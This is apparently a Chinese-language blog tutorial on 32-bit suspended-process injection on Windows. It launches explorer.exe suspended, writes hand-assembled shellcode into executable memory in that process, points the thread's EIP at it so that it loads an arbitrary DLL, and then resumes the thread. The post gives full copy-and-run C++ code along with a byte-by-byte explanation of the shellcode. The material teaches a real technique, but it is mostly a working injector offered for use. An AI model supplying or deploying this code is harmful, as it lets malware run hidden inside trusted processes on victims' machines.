一丶挂起进程注入简介与前言

挂起进程其实就是在创建进程的时候不让其先执行.然后获取它的EIP 将它的EIP变成我们ShellCode所在的内存.进行执行.不难.

主要分为几步:

1.以CREATE_SUSPENDED标志挂起创建一个你想注入的进程

2.获取这个进程的上下文环境 GetThreadContext 64位下使用Wow64GetThreadContext 请注意.CONTEXT结构还是同一个.使用64的会出错.亲测.(EIP注入的时候测试过.不相信可以去试试)

3.定义自己的ShellCode. ShellCode主要作用就是注入指定路径下的DLL

4.修复ShellCode 因为毕竟ShellCode地址是绝对的所以修复下即可.

5.在目标进程中申请远程可读写执行内存.并且将修复好的ShellCode写入到目标进程

6.将EIP修改为可读写内存的地址.恢复线程则会调用到我们申请地址位置处开始执行.

7.释放一系列资源.

综上所述.其实没有难点.挂起进程注入主要的核心思想就是 挂起进程修改EIP为我们ShellCode起始位置.然后进行调用即可.

这里核心主要是ShellCode

ShellCode如下:

UCHAR g_ShellCode[] = {

   0x68,0x00,0x00,0x00,0x00,        //push Context.EIP 需要修复
0x60, //puad
0x9C, //pushfd
0xE8, 0x00, 0x00, 0x00, 0x00, //call $0 代码重定位
0x5B, //pop ebx
0x83, 0xEB,0x00, //sub ebx,0 可加可不加
0x8D, 0x4B,0x12, //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方获取DLLpath地址
0x51, //push ecx
0xB8, 0x00,0x00,0x00,0x00, //mov eax,LoadLibraryA 修复LoadLibraryA的地址
0xFF,0XD0, //call eax 为啥使用Mov reg,address call reg. 自己去坑吧.
0x9D, //popfd
0x61, //popad
0xC3, //ret
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

ShellCode主要知识点有三个

1.保存contex.EIP

2.重定位LoadLibrary的参数

3.重定位LoadLibrary的地址

下面主要针对这几点讲解.

二丶ShellCode核心讲解.

2.1 保存Contex.EIP

首先挂起进程注入. 你通过CONTEXT 这个结构可以获取 目标进程EIP.但是你要想办法执行完ShellCode之后跳转回去.

所以这里我使用了一个简单的方法

push Address
ret

这个方式是利用堆栈.以及ret指令来进行返回的. 当我们保存了原始地址.然后ret的时候.ret会把我们push的地址当做返回地址来执行.

2.2 DLL路径重定位

我们正常来说.调用LoadLibraryA/W的时候.都会进行参数压栈进而进行调用.

如:

push xxxx地址 (地址里面是个DLL路径)
call LoadLibraryA; 调用LoadLibrary

而为了方便我直接代码重定位.直接将ShellCode尾部写入我们的DLL路径.

call $0:
pop ebx

使用这两句可以得到ebx当前指令指定的EIP的地址. 直接当前 EIP + xxx偏移(偏移是你写DLL路径的位置的偏移) 就是我们的参数地址.

2.3 LoadLibrary的重定位

当你直接使用 Call的方式调用LoadLibrary的时候.你还需要计算偏移.各种等等.

但是这种不需要的.为啥. 因为Windows在启动后 kernel32的基址已经固定了.任何程序启动都会默认加载 kernel32的.所以直接使用LoadLibrary当地址即可.

但是你使用Call的方式 (call LoadLibrary) 你还需要计算你的ShellCode 与LoadLibrary的偏移.所以我们直接使用寄存器来做.

mov reg,LoadLibrary
call reg

reg代表任意通用寄存器.

此时我们的ShellCode就可以正常运行了.通过以上步骤就可以开始运行了.

三丶 全部C++代码.拷贝即可使用.


#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string> using namespace std;
UCHAR g_ShellCode[] = { 0x68,0x00,0x00,0x00,0x00, //push Context.EIP 需要修复
0x60, //puad
0x9C, //pushfd
0xE8, 0x00, 0x00, 0x00, 0x00, //call $0 代码重定位
0x5B, //pop ebx
0x83, 0xEB,0x00, //sub ebx,0 可加可不加
0x8D, 0x4B,0x12, //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方获取DLLpath地址
0x51, //push ecx
0xB8, 0x00,0x00,0x00,0x00, //mov eax,LoadLibraryA 修复LoadLibraryA的地址
0xFF,0XD0, //call eax 为啥使用Mov reg,address call reg. 自己去坑吧.
0x9D, //popfd
0x61, //popad
0xC3, //ret
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //填写为DLL路径
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 //不够可以继续添加
};
/*
1.挂起创建Explorer
2.创建ShellCode
3.获取上下文环境
4.申请远程内存 写入ShellCode
5.回去上下文环境
ShellCode 可以写定位LoadLibrary 然后进行调用
*/ //1.挂起创建 Explorer
PPROCESS_INFORMATION StartSuspendProcess(string SuspendProcessName,char szComand[])
{ BOOL bRet = FALSE;
PPROCESS_INFORMATION pi = nullptr;
pi = new PROCESS_INFORMATION;;
if (pi == nullptr)
{
return nullptr;
}
STARTUPINFO si = { 0 }; si.cb = sizeof(STARTUPINFO); //创建挂起进程
bRet = CreateProcess(
SuspendProcessName.c_str(),
szComand,
nullptr,
nullptr,
FALSE,
CREATE_SUSPENDED,
nullptr,
nullptr,
&si,
pi);
if (bRet == FALSE)
{
return nullptr;
} return pi;
} //申请远程内存
LPVOID lpExRemoteAllocMemory(HANDLE hProcess,DWORD flAllocation,DWORD Protected)
{
LPVOID lpBuffer = nullptr;
lpBuffer =
VirtualAllocEx(hProcess,
0,
0x1000,
flAllocation,
Protected
); if (lpBuffer != nullptr)
return lpBuffer;
return nullptr;
}
//写入ShellCode到远程内存
DWORD lpWriteRemoteMemory(HANDLE hProcess, LPVOID lpExRemoteMemory)
{
//将ShellCode写入到远程内存
DWORD dwRet = 0;
SIZE_T siWriteBytes;
if (hProcess == 0)
return 0;
if (lpExRemoteMemory == nullptr)
return 0;
dwRet = WriteProcessMemory(
hProcess,
lpExRemoteMemory,
g_ShellCode,
sizeof(g_ShellCode) / sizeof(g_ShellCode[0]),
&siWriteBytes);
return dwRet;
} //修复ShellCode,并且将DLL路径写入到ShellCode位置.
DWORD FixShellCode(DWORD dwContexEip,char* DllPath)
{
/*
纵观全局数据区,ShellCode修复的位置有2处
1.首先要修复原Context的EIP. 这样RET之后直接跳转回去.
2.要修复LoadLibrary的地址. 因为Kernel32是直接加载的都是属于内存映射.所以虚拟地址一样.直接获取填入即可.
不用修复DLLpath. 因为自动进行代码重定位写法了.
*/ //1.修复EIP
__try
{ *(DWORD*)(char*)&g_ShellCode[1] = dwContexEip; //2.修复LodLibrary地址. //修复
*(DWORD*)(char*)&g_ShellCode[21] = (DWORD)LoadLibraryA; //将DLL内容拷贝到ShellCode存放路径处
memcpy((char*)&g_ShellCode[30], DllPath, strlen(DllPath) + 1);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
//出错了.
} return 1;
}
void run()
{
DWORD dwRet = 0;
LPVOID lpStartRemoteAddress = nullptr;
//1.挂起创建进程
PPROCESS_INFORMATION pi = nullptr;
char szCmd[] = "";
pi = StartSuspendProcess("C:\\Windows\\SysWOW64\\explorer.exe",szCmd);
if (!pi)
{
return;
} //2.获取进程上下文环境.
CONTEXT MyContext = { 0 };
MyContext.ContextFlags = CONTEXT_FULL;
dwRet = GetThreadContext(pi->hThread, &MyContext);
if (!dwRet)
{
return;
} //3.修复ShellCode的值.并且写入自己的DLL路径
char szDllPath[] = "填入你的DLL路径.如: C:\\xxx.dll";
dwRet = FixShellCode(MyContext.Eip,szDllPath); //4.申请远程内存
lpStartRemoteAddress = lpExRemoteAllocMemory(pi->hProcess, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpStartRemoteAddress == nullptr)
{
return ;
} //5.将ShellCode写入到内存中
dwRet = lpWriteRemoteMemory(pi->hProcess, lpStartRemoteAddress); //6.恢复进程启动,修改EIP为我们的ShellCode MyContext.Eip = (DWORD)lpStartRemoteAddress;
SetThreadContext(pi->hThread, &MyContext);
ResumeThread(pi->hThread); //请注意这里 EIP修改为我们的ShellCode位置.还要恢复线程才会进行执行.
//释放一系列资源
VirtualFreeEx(pi->hProcess, lpStartRemoteAddress, 0x1000, MEM_RELEASE);
CloseHandle(pi->hProcess);
CloseHandle(pi->hThread); }
int main()
{
run(); return 0;
}

ring3 x32挂起进程注入原理.的更多相关文章

  1. [Cuckoo SandBox]注入原理篇

    1.LoadExe 接python版本 通过调用LoadExe去加载Dll进行注入 所以先看LoadExe 加载器的功能吧 通过python管道接收到  processID,ThreadID,路径 , ...

  2. 十种MYSQL显错注入原理讲解(二)

    上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...

  3. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  4. SQL注入原理

    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一 部分程序员在编写代码的时候,没有对用户输入数据的合法性 ...

  5. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  6. sql注入--双查询报错注入原理探索

    目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...

  7. PHP依赖注入原理与用法分析

    https://www.jb51.net/article/146025.htm 本文实例讲述了PHP依赖注入原理与用法.分享给大家供大家参考,具体如下: 引言 依然是来自到喜啦的一道面试题,你知道什么 ...

  8. 菜鸟详细解析Cookie注入原理

    一.SQL注入原理 我以aspx为例,现在我们来研究下Cookie注入是怎么产生的,在获取URL参数的时候,如果在代码中写成Request[“id”],这样的写法问题就出现了.我先普及下科普知识,在a ...

  9. 回头探索JDBC及PreparedStatement防SQL注入原理

    概述 JDBC在我们学习J2EE的时候已经接触到了,但是仅是照搬步骤书写,其中的PreparedStatement防sql注入原理也是一知半解,然后就想回头查资料及敲测试代码探索一下.再有就是我们在项 ...

随机推荐

  1. Vue,Javascript--时间戳的操作

    new Date(parseInt(data.substring(6, data.length - 2))).toLocaleDateString(); 我这里的data记得替换成你的数据,在过滤器中 ...

  2. Excel导出,添加有效性

    #region  添加有效性 DataTable dt = LAbll.LogisticsAccounts(DeptId); //查数据 if (dt.Rows.Count < 20) //有效 ...

  3. .NET中的异步编程——常见的错误和最佳实践

    在这篇文章中,我们将通过使用异步编程的一些最常见的错误来给你们一些参考. 背景 在之前的文章<.NET中的异步编程——动机和单元测试>中,我们开始分析.NET世界中的异步编程.在那篇文章中 ...

  4. [转]解决ubuntu16.04 ‘E: 无法获得锁 /var/lib/dpkg/lock-frontend - open (11: 资源暂时不可用) ’ 问题

    当运行sudo apt-get install/update/其他命令时,会出现如下提示: E: 无法获得锁 /var/lib/dpkg/lock-frontend - open (11: 资源暂时不 ...

  5. scxml 图像展示器 (基于C++ MFC GDI tinyxpath的实现)

    以前的时候学习新东西没有总结的习惯,周末把以前研究的东西翻了翻,稍微总结下. Scxml是w3c出来的基于状态机的对话脚本语言标准,具体内容可以谷歌到,这里讲述自己开发的一个把scxml转化为可交互图 ...

  6. SpringBoot与SpringDateJPA和Mybatis的整合

    一.SpringBoot与SpringDateJPA的整合 1-1.需求 查询数据库---->得到数据------>展示到页面上 1-2.整合步骤 1-2-1.创建SpringBoot工程 ...

  7. python json库

    JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式,易于人阅读和编写. 1.json库的使用 使用 JSON 函数需要导入 json 库:import jso ...

  8. js高频经典面试题总结

    类型转换问题 console.log(null>=0); console.log(null<=0); console.log(null==0); console.log(undefined ...

  9. Python - 实现矩阵转置

    有个朋友提出了一个问题:手头上现在有一个二维列表,比如[[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11, 12]],现在要把该二维列表变成为[[1, 4, 7, 10 ...

  10. ajax加载验证码这样不断刷新的文件无法刷新问题

    看了很多网站,在前端不设置缓存,这样会把需要缓存的数据漏掉 觉得欺骗浏览器的方式很不错,方式如下 为了在所有浏览器上都能实现点击验证码的刷新功能,我们可以在上述代码中添加随机参数,对浏览器进行欺骗. ...